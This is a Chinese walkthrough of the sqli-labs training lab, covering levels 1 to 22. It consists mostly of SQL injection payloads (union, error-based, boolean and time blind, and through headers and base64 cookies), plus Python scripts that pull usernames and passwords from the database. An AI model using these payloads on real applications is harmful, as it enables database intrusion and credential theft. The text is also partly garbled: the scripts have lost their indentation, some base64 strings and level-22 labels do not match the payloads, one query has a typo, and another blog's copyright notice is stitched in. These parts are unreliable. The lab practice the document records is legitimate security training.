第一关:GET字符型注入

正常输入:

id=1


字符型注入

id=1' and 1='1
# 有数据

id=1' and 1='2
# 无数据

{当输入 and 1='1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and 1='1'

语法正确,逻辑判断正确,所以返回正确。

当输入 and 1='2时,后台执行 Sql 语句:

select * from where id = 'x' and 1='2'

语法正确,但逻辑判断错误,所以返回错误。}

报错,说明是字符型注入
我们输入的--+变成了--空格,此时--后面的语句被注释掉了,不会再执行

字段数

id=0' order by 1,2,3,4,5,6,7,8,9,10 --+


数据库

id=0' union SELECT 1,2,database() --+


获取所有的数据库

id=0' union SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+


id=0' union SELECT 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+


列名

id=0' union SELECT 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+


查询数据

id=0' union SELECT 1,2,group_concat(username) from users --+

第二关:GET数字型注入

注入类型

id=1 and 1=1
# 有数据
id=1 and 1=2 
# 无数据



查列数

id=1 order by 1,2,3,4,5


查数据库

id=0 union select 1,2,database() --+



id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata

查表

id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()


查字段

id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'


查数据

id=0 union select 1,2,group_concat(username) from users

第三关:GET单引号构造闭合

闭合为('')
判断注入类型

id=1) and 1=1 --+
id=1) and 1=2 --+
# 以上两个payload都可以返回数据,说明不是数字型注入
id=1') and 1=1 --+
# 能返回数据
id=1') and 1=2 --+
# 不能返回数据
# 说明是字符型包含闭合的注入

查字段数

id=1') order by 1,2,3,4 --+

查数据库

id=0') union select 1,2, group_concat(schema_name) from information_schema.schemata --+
或
id=0') union select 1,2, database() --+

查表名

id=0') union select 1,2,group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+

查列名

id=0') union select 1,2,group_concat(column_name) from information_schema.columns WHERE table_name='users' --+

查数据

id=0') union select 1,2,group_concat(username) from users --+

第四关:GET双引号闭合sql语句

闭合方式("")
判断类型
双引号闭合

id=1") and 1=2 --+

查字段数

3个字段数
id=1") order by 1,2,3,4 --+

查数据库

id=0") union select 1,2, group_concat(schema_name) from information_schema.schemata --+

查询数据表

id=0") union select 1,2, group_concat(table_name) from information_schema.tables WHERE table_schema=database() --+

查询列名

id=0") union select 1,2, group_concat(column_name) from information_schema.columns WHERE table_name='users' --+

查询数据

id=0") union select 1,2, group_concat(username) from users--+

第五关 :GET单引号盲注和报错注入

注入类型

id=1' and 1=1 --+
# 有数据

id=1' and 1=2 --+
# 无数据

单引号字符型盲注
脚本自动化
通过每一位的比较真假,得出每一位的字符。

id=1' and 1=if(ascii(substr(database(),1,1))>32,1,0)--+

手动太麻烦,直接上Python脚本:

import requests
url = "url/Less-5/?id=1' and 1= "
result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr(database(),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,0)--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,0)--+'
payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,0)--+'
r = requests.get(url + payload)
if "You are in" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

updatexml报错注入

id=1' and updatexml(1, concat(0x7e, (select database()), 0x73), 1)--+

重复报错

id=' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+

第六关:GET双引号时间盲注与报错注入

注入类型

id=1" and 1=1 --+
id=1" and 1=2 --+

双引号字符型盲注
自动化脚本

import requests
url = "url/Less-6/?id=1\" and 1= "

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'if(ascii(substr(database(),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(username) from users),{i},1))>{mid},1,sleep(3))--+'
# payload = f'if(ascii(substr((select group_concat(password) from users),{i},1))>{mid},1,sleep(3))--+'
try:
r = requests.get(url + payload, timeout=2)
head = mid + 1
except Exception as e:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

updatexml注入

id=1" and updatexml(1, concat(0x7e, (select database()), 0x73), 1)--+

重复报错注入

id=" union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+

第八关:GET单引号盲注+无报错

跟第五关的盲注一样,mysql_error()注释掉了,不能报错注入。
没有任何提示,因为它把错误信息隐藏了,所以并不能用显错式注入,只能用盲注。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0

首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0

?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23

或者这样就简单一点
?id=1' and ascii(substr((select database()),1,1))>64 %23
为什么这里是布尔型盲注呢,因为这里没把数据输出,只是$row有数据和无数据的时候显示的结果不一样


猜测数据库名字第一个字母:
?id=1' and ascii(substr((select database()),1,1))>114 --+

大于114时返回正确
?id=1' and ascii(substr((select database()),1,1))>115 --+
这时错误,说明ascii应该为115,即s,再接着推测第二个,然后可判断应该为security数据库,然后依次推出其他数据,比较麻烦。
?id=1' and left(database(),1)='s' --+
返回正确,可确定第一个字母为s.

猜数据库名第一个字母具体过程,使用二分法

1.?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64
1.?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
2.?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
3.?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
4.?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
5.?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
6.?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
7.?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

盲注过程是漫长的,一般是自己写脚本或使用工具辅助

第九关:GET - 盲注 - 基于时间 - 单引号

方法一:参考目录文章MySQL盲注:基于时间延迟注入(Sleep函数)

方法二:
?id=1' 其余与Less-10相同。
基础知识:
​ 1.sleep(x): 执行后,睡眠x秒后执行。

​ 2.if(a,b,c): 如果a正确,b执行否则c执行。

注入:
​ 1.基于'  的时间盲注。

​ 2.?id=1 ,?id=1' 发现不论对错不会回显且不会产生变化,采用时间盲注。

​ 3.?id=1 and sleep(5) –+ ,?id=1' and sleep(5) --+ 判断闭合。

​ 4.?id=1' and if(length(database())=7,1,sleep(5)) --+ ,判断数据库名长度。

​ 5.?id=1' and if(substr(database(),1,1)='s' ,sleep(5),1) --+ ,判断数据库名。或 ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+ ,判断数据库名。通过改变substr的步长来逐步猜测。

​ 6.?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=114,sleep(5),1) --+ ,判断表名。改变limit,substr步数逐步判断。

​ 7.同理得到列名,账号密码。

第十关: GET - 盲注 - 基于时间 - 双引号

​ 1.基于 “ 的时间盲注。

​ 2.?id=1” 其余与Less-9相同。

http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(length(database())=7,1,sleep(5)) --+

http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+     判断数据库名。通过改变substr的步长来逐步猜测。
或者
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(substr(database(),1,1)='s',sleep(5),1) --+,判断数据库

http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) =114,sleep(5),1) --+
或者
http://127.0.0.1/sqli-labs/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =114,sleep(5),1) --+

第十一关:POST单引号注入

判断类型
单引号字符型注入

uname=1' or 1=1#&passwd=admin 
注意:注释不能用–+会出错,要采用#代替。
# 有数据

uname=1' or 1=2#&passwd=admin
# 无数据

注入:
1.基于 ' 的post注入。
​2.查看源码发现账户名为: uname,密码名为: passwd,提交为: submit=Submit。
​3.采用post注入,

uname=admin&passwd=admin&submit=Submit ,回显成功.

​4.判断注入类型

uname=admin' #&passwd=admin&submit=Submit ,回显成功.

5.查询字段数

uname=admin' order by 1,2,3,4 #&passwd=admin&submit=Submit,得到字段为2.


6.判断回显

uname=admin' union select 1,2 #&passwd=admin&submit=Submit

7.查找数据库名

uname=1' union select 1,database() #&passwd=admin&submit=Submit      只能查询当前所用的数据库


或者

uname=1' union select 1,group_concat(schema_name) from  information_schema.schemata#&passwd=admin      能查询全部的数据库


8.查询表名

uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=admin&submit=Submit

或者

uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit

9.查找列名

uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=admin&submit=Submit 

10.查询数据

uname=1' union select 1,group_concat(username) from users#&passwd=admin

第十二关:POST双引号括号闭合
1.注入类型

uname=1") or 1=1#&passwd=admin&submit=Submit 显示数据
uname=1") or 1=2#&passwd=admin&submit=Submit 不显示数据
说明为双引号括号闭合型
  1. uname=1") order by 1,2,3,4 #&passwd=admin
    uname=1") union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=admin
    uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=admin
    uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin
    uname=1") union select 1,group_concat(username) from users#&passwd=admin
    ————————————————
    版权声明:本文为CSDN博主「小龙在山东」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
    原文链接:https://blog.csdn.net/lilongsy/article/details/108627889

第十三关:POST单引号盲注和报错注入

1.判断注入类型

uname=1') or 1=1 #&passwd=admin&submit=Submit


uname=1') or 1=2 #&passwd=admin&submit=Submit

可以得出单引号闭合型
2.获取相关数据

uname=1') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&passwd=admin :获取数据库
uname=1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=admin : 获取表名
uname=1') and updatexml(1,concat(0x7e,(select group_concat(column_name)from infromation_schema.columns where table_name='users'),0x7e),1)#&passwd=admin : 获取列名
uname=1') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) #&passwd=admin : 获取数据

第十四关:双引号盲注+报错注入

判断注入类型:

uname=1" or 1=1#&passwd=admin&submit=Submit
uname=1" or 1=2#&passwd=admin&submit=Submit

数据库
uname=1" and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1)#&passwd=admin

表名
uname=1" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=admin

字段名
uname=1" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),1)#&passwd=admin

表数据
uname=1" and updatexml(1,concat(0x7e,(select group_concat(username)from users),0x7e),1)#&passwd=admin

第十五关:POST单引号布尔盲注

判断注入类型:

uname=1' or 1=1#&passwd=admin&submit=Submit
uname=1' or 1=2#&passwd=admin&submit=Submit

数据库

uname=1' or substr(database(),1,1)='s'#&passwd=admin&submit=Submit

表名

uname=1' or if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=114,1,sleep(3))#&passwd=admin&submit=Submit

表数据

uname=1' or ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=admin&submit=Submit  :判断第一个字符是不是D

字段名

uname=1' or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,4)='user' #&passwd=admin&submit=Submit

{Welcome    Dhakkan
Your Login name:2
Your Password:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password} 

第十六关:POST双引号闭合布尔盲注

判断是啥类型

uname=1") or 1=1#&passwd=admin&submit=Submit
uname=1") or 1=2#&passwd=admin&submit=Submit

数据库

uname=1") or substr(database(),1,1)='s'#&passwd=admin&submit=Submit

表名

uname=1") or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='r'#&passwd=admin&submit=Submit

字段

uname=1") or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'#&passwd=admin&submit=Submit

表数据

uname=1") or substr((select username from users limit 0,1),1,1)='D'#&passwd=admin&submit=Submit

第十七关:已知一字段过滤,单引号报错注入另一字段

数据库

uname=admin&passwd=' and updatexml(1,concat(0x7e,database(),0x7e),1)#

表名

uname=admin&passwd=' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#    

字段

uname=admin&passwd=' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

表数据

uname=admin&passwd=' and updatexml(1,concat(0x7e,(select * from (select concat_ws(0x7e,id,username,password) from users limit 0,1) b)),0) #

第十八关:UA注入+单引号报错注入

uname和passwd都经过stripslashes和mysql_real_escape_string过滤,暂时无法绕过,所以先暴力破解出用户名和密码admin admin。题目也提示ip和ua可以注入。
Post data: uname=admin&passwd=admin&submit=Submit
数据库名

User-Agent: ',1,updatexml(1,concat(0x7e,database(),0x7e),1))#

表名

User-Agent: ',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

列名

User-Agent: ',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#

表数据

User-Agent: ',1,updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1))#

less-19——基于’的Referer:报头文报错注入

把十八关的ua改为了Referer,其他一样:

Post data: uname=admin&passwd=admin&submit=Submit

数据库名

Referer: ',1,updatexml(1,concat(0x7e,database(),0x7e),1))#

表名

Referer: ',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

列名

Referer: ',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#

表数据

Referer: ',1,updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1))#   多条数据
Referer: ',1,updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)

第二十关:Cookie注入+单引号

基于 ‘ 的 Cookie 注入。

Post data:uname=admin&passwd=admin&submit=Submit

数据库

uname=0' union select 1,2,database()#  单个数据库
uname=0' union select 1,2,group_concat(schema_name) from information_schema.schemata #

表名

uname=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

列名

uname=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #

表数据

uname=0' union select 1,2,group_concat(username) from users #

第二十一关:Cookie base64编码注入+单引号括号闭合

比第二十关加了一层base64编码和括号闭合。
数据库名

uname=0') union select 1,2,group_concat(schema_name) from information_schema.schemata #
Base64:uname=MCcpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSAj

表名

uname=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
Base64:uname=dW5hbWU9MCcpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSM=

列名

uname=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
Base64:uname=MCcpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3VzZXJzJyM=

表数据

uname=0') union select 1,2,group_concat(username) from users#    
Base64:uname=dW5hbWU9MCcpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSBmcm9tIHVzZXJzIw==

第二十二关:Cookie base64编码注入+双引号

基于 “ 的cookie的base64编码注入

Post data: uname=admin&passwd=admin&submit=Submit

数据库名

uname=0" order by 1,2,3,4,5 #
Base64:uname=MCIgb3JkZXIgYnkgMSwyLDMsNCw1ICM=

表名

uname=0" union select 1,2,group_concat(schema_name) from information_schema.schemata #
Base64:uname=MCIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoc2NoZW1hX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM=

列名

uname=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
Base64:uname=MCIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM=

表名

uname=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
Base64:uname=MCIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM=

表数据
uname=0" union select 1,2,group_concat(username) from users#
Base64:uname=MCIgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnIw==